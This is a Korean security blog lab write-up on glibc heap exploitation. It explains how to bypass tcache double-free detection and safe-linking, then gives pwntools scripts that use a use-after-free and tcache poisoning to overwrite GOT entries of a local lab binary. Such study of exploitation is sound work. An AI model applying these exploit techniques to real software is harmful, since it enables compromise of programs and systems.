https://minseosavestheworld.tistory.com/180
문제 코드 및 분석은 여기 참고하면 된다
Double Free Detection 우회
최신 libc에서는 double free 우회가 조금 까다로워졌다. tcache 기준으로 설명해보겠다
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
_int_free 함수에 따르면 tcache_entry의 key 변수 1바이트만 바꾸면 double free detection 우회가 가능하다
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
Tcache Poisoning Attack 고려사항
double free를 해서 free chunk의 next pointer를 조작할 수 있거나
uaf 취약점으로 인해 next pointer를 조작할 수 있는 상황에서 tcache poisoning이 가능하다
tcache에서 chunk를 가져올 때 사용하는 tcache_get 함수를 살펴보면
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *) e;
}
여기서 aligned_OK 매크로는 0x1111 mask와 AND한 값이 0인지 확인한다, 즉 addr가 16의 배수인지 확인한다
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define SIZE_SZ (sizeof (size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) ? __alignof__ (long double) : 2 * SIZE_SZ)
/* The corresponding bit mask value. */
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
그리고 malloc 함수에서 tcache_get()을 이용해 chunk를 가져오는 조건을 살펴보면
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
victim = tcache_get (tc_idx);
return tag_new_usable (victim);
}
따라서 고려사항은 다음과 같다
- next ptr이 safe-linking되어있으므로 heap addr 상위 5바이트 leak이 필요하고
- tcache에서 chunk를 가져오려면 tcache->counts[tc_idx] > 0 이어야 하며
// tcache[0x10]: chkA -> chkB -> 0 인 상태에서 (count = 2)
// tcache[0x10]: chkA -> chkB -> targetAddr -> ??? 이렇게 poisoning 해도 tcache에서는 2개의 chunk만 꺼내온다
- aliged_OK(e)를 통과하기 위해 fake tcache chunk의 주소는 0x10의 배수여야 한다
- fake tcache chunk 주소 + 4 가 tcache_get() 내부에서 0으로 초기화되는 것도 고려해야 한다
UAF을 이용한 풀이
- 해제한 chunk에 대해 포인터를 초기화하지 않으므로 지속적으로 free chunk에 접근 가능하다 => UAF 취약점
- 할당 - 해제 - 할당 - 해제 - 할당 을 반복하여 notes[0], admin_ptr, notes[1] 에 동일한 chunk를 할당한다
- notes[1]의 버퍼를 수정하면 admin_ptr의 버퍼도 수정되겠지
from pwn import *
p = process("./target")
def add_note(idx, size):
// 생략
def delete_note(idx):
// 생략
def edit_note(idx, data):
// 생략
def call_admin():
// 생략
add_note(0, 32)
delete_note(0)
call_admin()
delete_note(0)
add_note(1,32)
edit_note(1, "Admin is back!\n\x00")
call_admin()
p.interactive()
tcache poisoning을 이용한 풀이
1. heap addr 상위 5바이트 (safe-linking mask) leak 하기
https://minseosavestheworld.tistory.com/179
* UAF 취약점을 이용해 admin_ptr에 할당된 chunk를 해제한다
* admin_ptr 버퍼의 내용을 출력하면 safe-linking된 next pointer leak 된다
add_note(0, 32)
delete_note(0)
call_admin() # reallocate to admin_ptr
delete_note(0) # free(admin_ptr)
call_admin() # leak next ptr
p.recvuntil("Oh, ")
key = u32(p.recv(2)+b'\x00'*2) # (chunk addr >> 12)
2. fake tcache chunk 어디다 만들지 고민하기
[0x804b00c] strcmp@GLIBC_2.0 -> 0x8048596 (strcmp@plt+6) ◂— push 0 /* 'h' */
[0x804b010] read@GLIBC_2.0 -> 0x80485a6 (read@plt+6) ◂— push 8
[0x804b014] printf@GLIBC_2.0 -> 0x80485b6 (printf@plt+6) ◂— push 0x10
[0x804b018] free@GLIBC_2.0 -> 0x80485c6 (free@plt+6) ◂— push 0x18
[0x804b01c] fclose@GLIBC_2.1 -> 0x80485d6 (fclose@plt+6) ◂— push 0x20 /* 'h ' */
[0x804b020] __stack_chk_fail@GLIBC_2.4 -> 0x80485e6 (__stack_chk_fail@plt+6) ◂— push 0x28 /* 'h(' */
[0x804b024] err@GLIBC_2.0 -> 0x80485f6 (err@plt+6) ◂— push 0x30 /* 'h0' */
[0x804b028] fread@GLIBC_2.0 -> 0x8048606 (fread@plt+6) ◂— push 0x38 /* 'h8' */
[0x804b02c] malloc@GLIBC_2.0 -> 0x8048616 (malloc@plt+6) ◂— push 0x40 /* 'h@' */
[0x804b030] puts@GLIBC_2.0 -> 0x8048626 (puts@plt+6) ◂— push 0x48 /* 'hH' */
[0x804b034] exit@GLIBC_2.0 -> 0x8048636 (exit@plt+6) ◂— push 0x50 /* 'hP' */
[0x804b038] __libc_start_main@GLIBC_2.0 -> 0x8048646 (__libc_start_main@plt+6) ◂— push 0x58 /* 'hX' */
[0x804b03c] setvbuf@GLIBC_2.0 -> 0x8048656 (setvbuf@plt+6) ◂— push 0x60 /* 'h`' */
[0x804b040] fopen@GLIBC_2.1 -> 0x8048666 (fopen@plt+6) ◂— push 0x68 /* 'hh' */
[0x804b044] memset@GLIBC_2.0 -> 0x8048676 (memset@plt+6) ◂— push 0x70 /* 'hp' */
[0x804b048] putchar@GLIBC_2.0 -> 0x8048686 (putchar@plt+6) ◂— push 0x78 /* 'hx' */
[0x804b04c] atoi@GLIBC_2.0 -> 0x8048696 (atoi@plt+6) ◂— push 0x80
[0x804b050] fputs@GLIBC_2.0 -> 0x80486a6 (fputs@plt+6) ◂— push 0x88
- 0x804b010 read@got을 시작지점으로 하면 memset() 과정에서 read@got = 0x0 초기화되어 read() 불가
- 0x804b040 fopen@got을 시작지점으로 하면 tcache_get() 내부 e->key = 0 동작에 의해 memset@got = 0x0 초기화되어 에러 발생
- 0x804b000 을 시작지점으로 해 strcmp@got 덮으려했으나 bss 초기에 _GLOBAL_OFFSET_TABLE_ 및 _dl_runtime_resolve 함수 주소도 있어서 덮으면 안 됨
=> 0x804b020 시작지점으로 해 malloc@got을 print_key 호출부로 덮거나
=> 0x804b030 시작지점으로 해 exit@got을 print_key 호출부로 덮거나
print_key = 0x08048ca8 # main+824
def overwrite_exit():
puts_got = 0x804b030
puts_plt = 0x8048620
add_note(1, 8) # chkA
add_note(2, 8) # chkB
delete_note(1)
delete_note(2) # tcache[0x10]: chkB -> chkA -> 0 (tcache->count = 2)
add_note(3, 8) # chkB
delete_note(2)
edit_note(3, p32(puts_got^key)) # tcache[0x10]: chkB -> puts@got -> ???
add_note(4, 8)
add_note(5, 8)
edit_note(5, p32(puts_plt+6)+p32(print_key)) # exit@got overwrite
p.shutdown('send') # exit() trigger => print_key 호출
p.interactive()
- print_key 인자 세팅 후 호출하는 부분의 코드를 GOT에 넣어주어야 함
- tcache->count = 2로 만들기 위해 chunk 2개 할당
- exit@got을 호출하기 위해 p.shutdown('send') 이용해 EOF signal 보냄. 입력 스트림은 닫히지만 p.interactive()를 통해 출력 내용을 받아올 수는 있음
def overwrite_malloc():
stack_chk_fail_got = 0x804b020
stack_chk_fail_plt = 0x80485e0
err_plt = 0x80485f0
fread_plt = 0x8048600
add_note(1, 16)
add_note(2, 16)
delete_note(1)
delete_note(2)
add_note(3, 16)
delete_note(2)
edit_note(3, p32(stack_chk_fail_got^key))
add_note(4, 16)
add_note(5, 16)
edit_note(5, p32(stack_chk_fail_plt+6)+p32(err_plt+6)+p32(fread_plt+6)+p32(print_key))
add_note(6, 16) # malloc() 호출 => print_key 호출
p.interactive()
- malloc@got 덮는 부분 말고는 전부 plt 주소를 채워주어 GOT 원복해줘야 함 (memset에 의해 초기화되므로)
- 마찬가지로 print_key 인자 세팅 후 호출하는 부분의 코드를 GOT에 넣어주어야 함
'security > 가디언' 카테고리의 다른 글
IDA 및 pwndbg 명령어 꿀팁 (0) | 2023.09.02 |
---|---|
lab 09 - Heap: double free bug in old libc(<2.26) (0) | 2023.08.26 |
tcache safe linking (2) | 2023.08.26 |
lab 09 - Heap: unsafe unlink 공략 (0) | 2023.08.26 |
pwntools process()에서 바이너리를 특정 버전의 libc와 함께 실행시키는 법 (0) | 2023.08.24 |